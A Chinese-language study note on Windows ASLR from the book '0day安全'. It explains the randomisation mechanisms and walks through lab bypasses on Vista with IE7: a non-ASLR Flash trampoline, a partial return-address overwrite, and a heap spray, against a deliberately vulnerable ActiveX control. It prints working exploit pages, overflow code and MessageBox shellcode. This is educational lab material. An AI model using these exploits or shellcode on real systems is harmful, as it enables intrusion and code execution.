0day安全 | Chapter 13 在内存中躲猫猫:ASLR
启程
语文者,如同窗旧交,忘机少艾;垂虹襟怀胸怀,捉月气概;可与登楚岫,渡秦淮,游阆苑,醉蓬莱,攀峭壁之青松,抚穷城之古柏;指杏酒以约沽,临陂路而议买。
ASLR,即Address Space Layout Randomization。一开始我总是记不住它的全称。同样,Linux上也有ASLR,绕过方式也很多样化。现在我们来看一下Windows上的ASLR。
内存随机化保护机制的原理
XP上的ASLR功能有限:对PEB/TEB进行简单随机处理,但并不去动模块加载基址。从Vista开始,ASLR真正开始发挥作用。它也需要程序和操作系统的双重支持,不过程序的支持不是必需的。
支持ASLR的程序在它的PE头中会设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
标识来说明其支持ASLR。从VS 2005 SP1开始/dynamicbase
链接选项被引入来完成对ASLR的支持。
在后面的VS 2008环境中,可以通过如下方式来配置ASLR:
Vista及之后的系统中的ASLR包含:
- 映像随机化
- 堆栈随机化
- PEB/TEB随机化
映像随机化
PE文件在映射到内存时,其加载的虚拟地址被随机化,这个地址是在系统启动时确定的,系统重启后这个地址会变化。
我们以IE为例,用OD加载一次:
我们关闭,再次加载:
可以看到,除了AcLayers.dll
/shimeng.dll
/AcRedir.dll
/iebrshim.dll
外其他的模块加载地址都未发生改变。我们暂时先不去管这四个特殊的模块。
重启后,再次加载:
果然各个模块加载地址都发生变化。
当然,如果你的系统没有打开映像随机化开关(为了兼容性设置的),那么这些地址不会变化。你可以通过在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\
下建立DWORD
型的MoveImages
值来设定其工作方式:
- 0,禁用映像随机化
- -1,强制对可随机化的映像进行处理,无论是否设置
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
标识 - 其他值,正常工作模式,只对具有随机化处理标识的映像处理
注意观察上面重启前后的对比图可以发现,虽然有了一定的随机化,但是各个模块的入口地址的后两个字节是不变的,随机化的只有前两个字节。如iexplore的入口地址从0x01012D79
变为0x00392D79
。
堆栈随机化
与之前不同的是,堆栈基址在每次打开程序时都会被随机化,所以各变量在内存中的位置也都不确定。
通过如下代码测试:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
char *heap = (char *)malloc(100);
char stack[100];
printf("Address of heap: %#0.4x\nAddress of stack: %#0.4x", heap, stack);
free(heap);
getchar();
return 0;
}
在XP SP3上的情况:
在Vista SP1上的情况:
ASLR将每个线程的堆栈基址都做了随机化处理。但是自从使用jmp esp
跳板后我们很少需要转向精确的shellcode地址;另外浏览器攻击方面很流行的heap spray也不需要精准跳转。
PEB/TEB随机化
从XP SP2起,PEB基址就不再固定于0x7FFDF000
,TEB基址也不再固定于0x7FFDE000
。
TEB位于FS:0
和FS:[0x18]
处,PEB位于TEB偏移0x30
处。通过下面的例子来看它们的变化情况(Vista):
#include <stdio.h>
int main(int argc, char* argv[])
{
unsigned int teb;
unsigned int peb;
__asm{
mov eax, FS:[0x18]
mov teb, eax
mov eax, dword ptr [eax + 0x30]
mov peb, eax
}
printf("PEB: %#x\nTEB: %#x", peb, teb);
getchar();
return 0;
}
几次下来,可以发现它们的随机化效果并不好:
退一步讲,即使真的做到了完全随机,也还是有其他方法获取当前进程的PEB和TEB。
总结
ASLR加大了exploit的难度。但是也可以看出,这些随机化并不是完美的。
延伸:如何关闭ASLR?
首先,NT 6+
内核版本的Windows都默认开启了ASLR。那么怎么查看内核版本呢?在运行中输入winver
(命令行输入ver
亦可):
关闭的方法:
修改注册表键值[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Memory Management] “MoveImages”
为dword:00000000
。默认情况下如下:
Windows 7下需要使用EMET工具关闭。
攻击未启用ASLR的模块
不支持ASLR的软件有很多。如果能够在当前进程空间中找到这样一个模块,利用其内部的指令做跳板,就可以绕过ASLR。
在IE广泛启用安全机制后的相当一段时间,Flash Player ActiveX并未支持SafeSEH,ASLR等新特性。 Adobe在Flash Player 10以后的版本中开始全面支持微软的安全特性。
综上,本节我们借助Flash Player来绕过ASLR。
我们首先来确认一下Flash是否不支持ASLR。作者使用OllyFindAddr来查看,但我这里OllyFindAddr没有发挥作用:
然后弹出:
日志里却什么都没有。
那么我们只能通过重启系统来检查Flash的加载基址是否固定:
重启前:
重启后:
可以发现,是固定的加载基址。
IE7的DEP也是关闭的:
# 实验环境
OS: Windows Vista SP1
IE: 7.0
Flash Player: 0.262
DEP: Optin
GS: 关闭
又遇到了曾经的问题!这次连ActiveX控件在OD中都看不到,在IE上“管理加载项”也看不到。我推测这里的问题应该和第十二章最后的几个实验遇到的问题相似,将来一起解决。
更新
后来朋友建议使用IE Web Developer去debug一下看看。这个工具的确很好用,不过也没发现问题所在。重启了Vista后,竟然解决了。这可能就是计算机玄学的魅力所在吧。
与以往相同,准备材料如下:
- 具有溢出漏洞的ActiveX控件
与第十二章的完全相同:
void CVulnerAXCtrl::test(LPCTSTR str)
{
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// TODO: 在此添加调度处理程序代码
printf("aaaa");
char dest[100];
sprintf(dest,"%s",str);
}
注意在regsvr32
时以管理员身份进行。
- 可以触发ActiveX控件中漏洞的PoC页面
<html>
<body>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">
<param name="movie" value="1.swf" />
<param name="quality" value="high" />
<embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260"></embed>
</object>
<object classid="clsid:18DC4D8E-82EB-4CB7-824B-E6DEC800562A" id="test"></object>
<script>
var s = "\u9090";
while (s.length < 54) {
s += "\u9090";
}
s += "\u9090\u9090";
test.test(s);
</script>
</body>
</html>
通过调试,我们可以发现在缓冲区108
字节后的四个字节刚好覆盖函数返回地址,所以最直接的思路是在这里放上一个跳板jmp esp
,然而在Flash模块中我们并未找到这样的跳板。所以只好在OD中单步到test函数返回前,看看都有哪些寄存器指向栈:
可以发现是EDX/ESI/ESP
,由于edx总指向溢出字符串的末尾(即shellcode末尾)那个字节,所以无法使用。esi与esp指向相同。我们尝试在Flash模块中寻找jmp esi
,找到两处:
注意,由于esi与esp指向相同,所以在后面这个跳板的地址本身会被当作指令执行。然而第一处跳板的最低字节C7
是未知指令(甚至导致了我的反汇编器崩溃),将影响逻辑流,而第二处跳板地址反汇编如下:
基本不影响。但是它会对eax进行操作。而参照之前的调试图片可以发现,eax是00000070
,这个地址很明显不可以被写入。所以我们要先将eax指向可写地方。我们可以采用类似于mov eax, edx; ret
这样的gadget。经过作者的寻找,选择下图的gadget:
它不影响逻辑流:
因此,最终shellcode如下:
<script>
var s = "\u9090";
while (s.length < 54) {
s += "\u9090";
}
// mov eax, edx retn 8
s += "\uD286\u1014"
// nop
s += "\u9090\u9090"
// jmp esi
s += "\uE78A\u1012"
// nop
s += "\u9090\u9090";
// messagebox
s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91";
s += "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332";
s += "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c";
s += "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505";
s += "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b";
s += "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06";
s += "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c";
s += "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd";
s += "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33";
s += "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050";
s += "\uff53\ufc57\uff53\uf857";
test.test(s);
</script>
这里有一个疑问:为什么在jmp esi
和messagebox
之间要加四个nop呢?作者提醒我们注意esp的位置。那么不要这四个nop行不行呢?我测试了下,会导致IE崩溃。
由于mov eax, edx; retn 8
最后的retn 8
,在jmp esi
执行后,esp指向了messagebox中的第二个四字处。但是在jmp esi
后还会用到esp吗?
会的。我们回到第三章制作的通用弹窗shellcode,看它开头的汇编指令:
"\xfc" CLD ; clear flag DF
; store hash
"\x68\x6a\x0a\x38\x1e" push 0x1e380a6a ; MessageBoxA
"\x68\x63\x89\xd1\x4f" push 0x4fd18963 ; ExitProcess
很明显,第二条指令就是一个push,然而在push的时候esp指向messagebox中的第二个四字处,所以这个push会影响它后面的那个push指令,导致其被破坏。
因此,我们需要加入nop。
这是一个比较简单的exploit,就不画流程图了。
另外,作者提到不修正eax也是可行的,我们可以在jmp esi
前放一个短跳,把它自身带来的干扰指令跳过去即可。把原来用来修改eax的地方直接放一个retn即可。为了不引入新的垃圾指令,且retn的选择范围较大,所以经过反汇编测试,我选了0x10044a58
处的。修改以后shellcode如下:
<script>
var s = "\u9090";
while (s.length < 54) {
s += "\u9090";
}
// retn
s += "\u584a\u1004"
// short jmp (jmp +0x8)
s += "\u08eb\u9090"
// jmp esi
s += "\uE78A\u1012"
// nop
s += "\u9090\u9090";
// messagebox
s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91";
s += "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332";
s += "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c";
s += "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505";
s += "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b";
s += "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06";
s += "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c";
s += "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd";
s += "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33";
s += "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050";
s += "\uff53\ufc57\uff53\uf857";
test.test(s);
</script>
通过调试可以发现,完美跳过了jmp esi
引入的垃圾指令:
所以,这种shellcode的排布方法也是可行的。
测试:
利用部分覆盖定位内存地址
这种攻击方式的可行性依赖于前面提到的“ASLR仅仅对模块加载地址高两字节做随机化”这一前提。MasterMsf 4 渗透模块的移植中的“移植针对TCP客户端漏洞的ExP”一节,原ExP作者就是利用部分覆盖去定位PPR的(只不过那里是去覆盖SEH异常处理函数,而我们这里是覆盖返回地址罢了)。
# 实验环境
OS: Windows Vista SP1
DEP: Optin
优化选项:禁用
DEP选项/NXCOMPAT: NO
GS: 关闭
本次测试代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\x90\x90..."
;
char *test()
{
char tt[256];
memcpy(tt, shellcode, 262);
return tt;
}
int main()
{
char temp[200];
test();
return 0;
}
经过调试发现偏移量为260。为了仅仅覆盖掉返回地址的低两字节,我们需要将shellcode布置在缓冲区中,而非返回地址后。观察复制完成后的寄存器情况:
eax恰指向缓冲区首。所以我们要在主模块中找到一个jmp eax
:
我们使用0x1eb4
作为覆盖值。
首先要说明的是,上面的测试代码来自原作者,他让test
函数返回tt
,这样可以保证在ret时eax指向缓冲区首,从而使得我们后面可以去寻找一个eax的跳板来实现跳转。但是其实test函数完全可以写成:
void test()
{
char tt[256];
memcpy(tt, shellcode, 262);
}
因为memcpy
函数对返回值的定义如下:
The memcpy() function returns the original value of dst.
也就是说memcpy返回后,eax就已经指向缓冲区首,不必通过return tt
来实现。当然,作者这样做也有道理。如果仅仅按照我们上面所列的环境条件和build选项去生成漏洞程序,VS 2008会把memcpy函数优化成为test函数内部的一个复制循环结构。这是因为其优化选项默认启用内部函数:
从而导致memcpy被优化为:
可以看到,这样一来就没eax什么事了。所以如果希望test不返回tt就实现目的,需要禁用内部函数。
后面shellcode排布本来应该是非常简单的,但是一个小问题导致我一直没有成功。仔细检查后发现还是很有意思的:
一开始我的shellcode如下:
char shellcode[] =
// 92 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"
// 168 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// 2 jmp eax
"\x8e\x14";
然而总是一运行就崩溃。我用OD单步,能够跟进并执行到payload的开头,这说明没有DEP和GS,同时也绕过了ASLR。后来发现payload执行几步后,其自身尾部的指令发生了变化。于是我想到这可能是payload自身压栈操作导致的问题。参考0day安全 Chapter 3 开发shellcode的艺术,这个弹窗payload的开头部分如下:
cld
push 0x1e380a6a ; MessageBoxA
push 0x4fd18963 ; ExitProcess
push 0x0c917432 ; LoadLibraryA
mov esi, esp ; esi = addr of first function's hash
lea edi, [esi - 0xc] ; edi = addr to start writing function
; get some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null (bx is "32")
push ebx
push 0x72657375 ; "user"
push esp ; the pointer
xor edx, edx
这刚好导致payload的尾部一些字节被覆盖掉。其实,我们只需要168字节的payload与其前面92字节的nop调换位置就好,这样将是nop被覆盖,没关系。
最后测试如下:
利用Heap Spray技术定位内存地址
堆喷的原理很简单:将shellcode布置在堆中,然后将控制流劫持到堆去执行shellcode(劫持指覆盖返回地址、SEH处理函数指针、虚函数指针等,根据实际情况选择)。那么劫持到哪里呢?劫持到一个固定的地址,比如0x0c0c0c0c
。我们确保这个地址极大概率是通向shellcode的slide。怎么确保呢?我们知道,堆是从低地址向高地址增长的,而0x0c0c0c0c / 1024 / 1024 = 192
,所以如果我们能够控制在堆上分配200个1MB的内存块,每一个内存块均用(类)空指令和payload填充,那么一定会覆盖到0x0c0c0c0c
(比喻成“喷射”很形象),因此上述攻击方案是可行的。一个payload区区几百字节,只占1MB极小的一部分,所以0x0c0c0c0c
这个地址刚好落在payload中间的概率将非常小。这样的攻击方式很明显绕过了ASLR对堆地址的随机化。这种攻击方式可以图解如下:
上述说法其实有一个纰漏:如果ASLR使得堆从高于0x0c0c0c0c
的地址开始分配怎么办?这种情况不会发生,至少在我们的实验环境下不会发生。我们可以做一个小测试。编写如下一段HTML:
<html>
<script>
var nops = unescape("%u9090%u9090");
while(nops.length < 0x100000 / 2)
nops += nops;
nops = nops.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - 2 / 2 - 2);
nops = unescape("%u8281%u8182") + nops;
var memory = new Array();
for(var i = 0; i < 200; i++)
memory[i] += nops;
</script>
</html>
用浏览器打开,然后OD附加,使用FindAddr的Custom-Search去根据标识符81828281
寻找内存块,记录一下内存块的起始地址。然后重启电脑,再次执行上述操作,观察重启前后内存块起始地址的变化:
重启前:
重启后:
可以发现起始地址均小于0x0c0c0c0c
。另外,其地址范围是覆盖了0x0c0c0c0c
的:
代码中为什么要对nops做nops.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - 2 / 2 - 2);
的操作呢?如果只是为了减去unescape("%u8281%u8182")
的长度,不是只减去4 / 2
就好了吗?为什么使用1MB的内存片呢?参考第六章末尾部分,我们有以下解释:
Javascript在申请内存时会为每个块补充一些额外信息(有点类似于堆溢出时考虑了块首),具体如下:
大小 | 说明 | |
---|---|---|
malloc header | 32 bytes | 堆块信息 |
string length | 4 bytes | 字符串长度 |
terminator | 2 bytes | 字符串结束符,是两个字节的NULL |
同时,1MB的内存片可以使得相对于payload来说slides足够多,从而使得命中slides的概率足够大,换言之,exploit足够稳定。
综上,我们已经对堆喷的可行性做了充分的理论论证。下面我们做实验。依然是攻击ActiveX控件,控件与本章第一节使用的完全相同,这里就不附源码了。使用的exploit页面源码如下:
<html>
<body>
<script>
var nops = unescape("%u9090%u9090");
shellcode = "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91";
shellcode += "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332";
shellcode += "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c";
shellcode += "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505";
shellcode += "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b";
shellcode += "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06";
shellcode += "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c";
shellcode += "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd";
shellcode += "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33";
shellcode += "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050";
shellcode += "\uff53\ufc57\uff53\uf857";
while(nops.length < 0x100000)
nops += nops;
nops = nops.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - 2 / 2 - shellcode.length);
nops += shellcode;
var memory = new Array();
for(var i = 0; i < 200; i++)
memory[i] += nops;
</script>
<object classid="clsid:39F64D5B-74E8-482F-95F4-918E54B1B2C8" id="test"></object>
<script>
var s = "\u9090";
while(s.length < 54)
s += "\u9090";
s += "\u0c0c\u0c0c";
test.test(s);
</script>
</body>
</html>
测试:
最后有一个问题,为什么要劫持到0x0c0c0c0c
呢?我试了一下,其实0x0a0a0a0a
也是可以的。参考Heap Spray原理浅析及0day安全 Chapter 3 开发shellcode的艺术,我有以下思考:
- 在面对
strcat
这种形式的溢出漏洞时,形如0xabababab
这样的地址成功率更大(见第三章笔记) - 在上一点的基础上,所有数值小于200MB的地址都可以(典型就是
0x0a0a0a0a
/0x0b0b0b0b
/0x0c0c0c0c
) - 假如我们要用slides覆盖的是对象的虚表指针,那么用
0x90
就不太好,因为虚表指针是一个多级指针,所以程序需要到虚表那里再次取地址。如果用0x90
则可能造成到0x90909090
取地址的情况,这将造成程序崩溃。而0x0C
本身是类空指令,所以我们可以用其代替0x90
作为slide,同时也把假虚表伪造在0x0c0c0c0c
处,这样一来,一举两得
综上,我们选择了0x0c0c0c0c
作为通用的劫持目的地址。
利用Java applet heap spray技术定位内存地址
原理与上一节相同,过程与上一节类似。由于与0day安全 Chapter 12 数据与程序的分水岭:DEP环境问题,这里不再进行这个实验。
为.NET控件禁用ASLR
该实验的原理是通过修改PE文件本身,移除IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
标识来达到禁用ASLR的目的。只不过对于.NET控件文件需要多做一些工作,具体的修改如下:
- 移除
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
标识 - 设置其版本号小于2.5
使用的修改工具为CFF Explorer。
同样由于环境问题,该实验不再进行。
总结
本章最大的惊喜应该是堆喷技术了,这算一种漏洞利用思想吧。另外,部分覆盖也挺巧妙的。总之,这一切都像艺术啊。